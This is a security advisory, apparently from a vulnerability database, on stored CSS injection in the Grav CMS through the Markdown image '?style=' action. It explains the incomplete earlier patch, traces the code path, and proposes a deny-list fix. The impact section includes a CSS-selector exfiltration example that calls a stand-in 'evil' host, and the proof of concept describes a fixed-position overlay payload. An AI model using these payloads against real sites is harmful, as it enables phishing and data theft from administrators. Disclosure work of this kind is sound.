GHSA-pmf8-g7c8-7v54 CVE-2026-55890
Grav: Stored CSS injection via Markdown image ?style=… reaches MediaObjectTrait::style() — incomplete patch of GHSA-r7fx-8g49-7hhr
- Severity
- 4.8 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.50%
- Chance of exploitation in the next 30 days. Higher than 43.05% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix
2.0.0-rc.9- Upgrade getgrav/grav to this version or later
Description
Summary
The fix for GHSA-r7fx-8g49-7hhr / CVE-2026-42841 (Stored XSS via Markdown media attribute() action) is incomplete. The maintainer patched MediaObjectTrait::attribute() to deny dangerous attribute names (event handlers, style, xmlns, srcdoc, formaction) but the sibling MediaObjectTrait::style() method is reachable through the same Markdown excerpt-action pipeline and writes editor-controlled strings straight into the rendered <img style="…"> attribute with no sanitization.
Any user with admin.pages permission (e.g. an editor) can save Markdown like:

which renders to a stored-CSS payload that any higher-privileged viewer (administrator, super-admin, reviewer) loads in their authenticated session. Same trust boundary, same victim, same attacker, same Markdown input vector as the patched GHSA-r7fx-8g49-7hhr issue — the fix simply patched the attribute() entry point and missed the style() sibling.
Affected versions
Vulnerable at HEAD across every currently-shipping branch (verified 2026-06-15):
| Branch / tag | MediaObjectTrait::style() |
|---|---|
develop (f4c0f42) |
unpatched |
2.0 (96e1d2d) |
unpatched |
2.0.0-rc.8 (latest 2.0 RC tag) |
unpatched |
1.7.52 (latest 1.7 stable) |
unpatched |
Per SECURITY.md, this advisory targets the 2.0 line (publisher-level exploit, not eligible for 1.7 backport per the project's stated policy).
Trust boundary
Per the project's SECURITY.md:
A vulnerability is when an actor can escape the trust scope of their role: a publisher whose stored content compromises an admin session, an unauthenticated visitor who reaches a privileged sink, an account at any tier that gains capabilities it was not granted.
An editor authoring Markdown is operating within their role. A higher-privilege admin loading that editor's page in their authenticated session and getting attacker-controlled CSS painted into their browser is across the trust boundary — the same framing that was accepted for GHSA-r7fx-8g49-7hhr (MODERATE) and GHSA-c2q3-p4jr-c55f (MODERATE).
Details
Original GHSA-r7fx-8g49-7hhr fix (commit 5a12f9be8, 2026-04-23)
public function attribute($attribute = null, $value = '')
{
if (empty($attribute) || !is_string($attribute)) {
return $this;
}
if (!self::isSafeAttributeName($attribute)) {
return $this;
}
$this->attributes[$attribute] = $value;
return $this;
}
private static function isSafeAttributeName(string $name): bool
{
if (!preg_match('/^[A-Za-z][A-Za-z0-9_:.\-]*$/', $name)) {
return false;
}
$lower = strtolower($name);
if (str_starts_with($lower, 'on')) { // event handlers
return false;
}
$denylist = ['style', 'xmlns', 'srcdoc', 'formaction'];
return !in_array($lower, $denylist, true);
}
style is the second-named entry on the denylist — the maintainer explicitly recognised that editor-supplied style was dangerous when arriving via the attribute() action. The fix simply didn't reach the parallel sink.
The unpatched sibling: MediaObjectTrait::style() (line 519)
/**
* Allows to add an inline style attribute from Markdown or Twig
* Example: 
*/
public function style($style)
{
$this->styleAttributes[] = rtrim($style, ';') . ';';
return $this;
}
The function is unchanged before, during, and after the GHSA-r7fx-8g49-7hhr fix. The PHPDoc on the very next line names the Markdown invocation form (?style=…). The rtrim is for clean concatenation, not security.
$styleAttributes is concatenated and assigned to attributes['style'] in parsedownElement() (lines 242–251):
$style = '';
foreach ($this->styleAttributes as $key => $value) {
if (is_numeric($key)) { // editor-supplied entries are numeric-keyed
$style .= $value;
} else {
$style .= $key . ': ' . $value . ';';
}
}
if ($style) {
$attributes['style'] = $style;
}
Parsedown then runs htmlspecialchars on the value (so quote-breakout into a new attribute is blocked), but arbitrary CSS as the value is enough.
Source → sink trace
The Markdown processor wires query-string keys to method calls on the Medium object (system/src/Grav/Common/Page/Markdown/Excerpts.php:262):
foreach ($actions as $action) {
$matches = [];
if (preg_match('/\[(.*)\]/', (string) $action['params'], $matches)) {
$args = [explode(',', $matches[1])];
} else {
$args = explode(',', (string) $action['params']);
}
$medium = call_user_func_array([$medium, $action['method']], $args);
}
?style=position:fixed;top:0;left:0 becomes $medium->style('position:fixed;top:0;left:0').
Save-side XSS detector misses the payload
AdminController::savePage() runs Security::detectXssFromArray() on data[content] before persisting (classes/plugin/AdminController.php:1402). All five default patterns miss the Markdown form:
on_events: requires<…on*=in source.invalid_protocols: requiresjavascript:/data:/etc. — the phishing-overlay payload uses none.moz_binding: requires-moz-binding:literally.html_inline_styles: requires<…style=…(url:|x:expression); Markdown source has no<and nourl:.dangerous_tags: requires<svg/<script/etc.
Save proceeds, the payload persists, the CSS is rendered to every viewer.
Impact
- Phishing overlay — full-viewport
position:fixedcovering the admin UI with attacker-controlled background/content; admin clicks intended actions into the attacker's overlay. - UI redress / clickjacking — invisible overlays hijacking admin button clicks.
- CSS-selector data exfiltration —
input[value^="a"] { background: url(//evil/log?c=a) }against form fields the higher-privileged viewer interacts with. - Persistent admin-UI denial-of-service —
position:fixed; background:whitecovers the page until the offending content is removed by hand on the server.
The stored payload reaches every user who views the editor's page — including administrators previewing pending changes.
Proof of concept
A deterministic end-to-end PoC against a real Grav install ships with the finding (repro.sh). Steps:
- Log in as an editor (
admin.pages+admin.pages.update, noadmin.super). - Upload a benign image to a target page.
- Save the page with the Markdown payload
. - Visit the public page; observe the
<img style="…">carrying the unsanitised CSS.
Suggested fix
Apply the same denylist + identifier-shape gate to style() that isSafeAttributeName() enforces for attribute():
public function style($style)
{
+ if (!is_string($style) || !self::isSafeStyleValue($style)) {
+ return $this;
+ }
$this->styleAttributes[] = rtrim($style, ';') . ';';
return $this;
}
+/**
+ * Editor-controlled style values arrive via Markdown `?style=…` and reach
+ * the rendered `<img style="…">` attribute verbatim. Limit to a conservative
+ * set of CSS that themes legitimately use from content (sizing, float,
+ * margin, etc.) and reject anything that opens a phishing-overlay or
+ * data-exfil primitive. Matches the spirit of the attribute() denylist
+ * from GHSA-r7fx-8g49-7hhr — same trust boundary, sibling sink.
+ */
+private static function isSafeStyleValue(string $css): bool
+{
+ $css = strtolower($css);
+ // Deny: phishing-overlay positioning, CSS-selector exfil sinks
+ // (background/content url(...)), expression() (legacy IE),
+ // -moz-binding (legacy FF), behavior: url() (IE).
+ $deny = ['position:', '@import', 'url(', 'expression(',
+ '-moz-binding', 'behavior:', 'z-index:', 'fixed', 'absolute'];
+ foreach ($deny as $needle) {
+ if (str_contains($css, $needle)) {
+ return false;
+ }
+ }
+ return (bool) preg_match('/^[A-Za-z0-9 :;%.,\-#\/]*$/', $css);
+}
Alternatively, deprecate the Markdown ?style=… action entirely — themes can still set inline styles from PHP, but accepting attacker-controlled CSS from page content was always a footgun.
Defense in depth: extend Security::detectXss()'s html_inline_styles rule to also match Markdown-form ?style= query parameters in data[content] on save.
References
- Original advisory: GHSA-r7fx-8g49-7hhr
- Fix commit:
5a12f9be8(system/src/Grav/Common/Media/Traits/MediaObjectTrait.php) - Unpatched code:
system/src/Grav/Common/Media/Traits/MediaObjectTrait.phplines 519–524 - Project security policy:
SECURITY.md(trust-boundary severity model)
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| getgrav/grav | < 2.0.0-rc.9 |
2.0.0-rc.9 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
getgrav/grav Packagist → 2.0.0-rc.9
- composer
composer require getgrav/grav:^2.0.0-rc.9
Severity breakdown
CVSS 3.1 4.8
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- High
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Weakness
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
- Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
- Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-xjw5-q542-3vmr Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled | High | Also affects getgrav/grav |
| GHSA-3jhr-mxmx-38cx Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet() | Medium | Also affects getgrav/grav |
| GHSA-9ccq-2jfg-qw33 Grav: Origin validation bypass in Uri::referrer() and Pages::referrerRoute() via unanchored prefix match | Critical | Also affects getgrav/grav |
| GHSA-38p6-h87p-r4cg Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection | Medium | Also affects getgrav/grav |
| GHSA-p597-crqc-m349 Grav: The system, site, and theme Twig variables bypass the content sandbox entirely and are never covered by config_denied_paths | Medium | Also affects getgrav/grav |
| GHSA-47ch-6w46-6xm7 Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content | Medium | Also affects getgrav/grav |
| GHSA-jq29-c7v8-rg55 Grav: Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion | High | Also affects getgrav/grav |
| GHSA-8hgv-xc77-jmcr Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin | Medium | Also affects getgrav/grav |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor